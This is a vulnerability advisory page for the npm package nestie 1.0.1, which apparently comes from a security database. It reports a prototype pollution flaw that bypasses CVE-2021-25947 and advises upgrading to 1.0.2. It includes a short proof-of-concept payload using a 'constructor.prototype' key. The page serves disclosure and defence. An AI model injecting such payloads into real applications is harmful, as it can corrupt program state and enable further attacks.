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nestie@1.0.1 vulnerabilities

A tiny (215B) and fast utility to expand a flattened object

  • latest version

    1.0.3

  • latest non vulnerable version

    1.0.3

  • first published

    5 years ago

  • latest version published

    2 years ago

  • licenses detected

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    Direct Vulnerabilities

    Known vulnerabilities in the nestie package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • M
    Prototype Pollution

    nestie is an A tiny (224B) and fast utility to expand a flattened object

    Affected versions of this package are vulnerable to Prototype Pollution. A bypass of CVE-2021-25947 is possible which could lead to pollution of the object prototype.

    PoC

    var { nestie } = require("nestie")
console.log("Before : " + {}.polluted);
nestie({"constructor.prototype.polluted": "Yes! Its Polluted"})
 console.log("After : " + {}.polluted);

    How to fix Prototype Pollution?

    Upgrade nestie to version 1.0.2 or higher.

    <1.0.2
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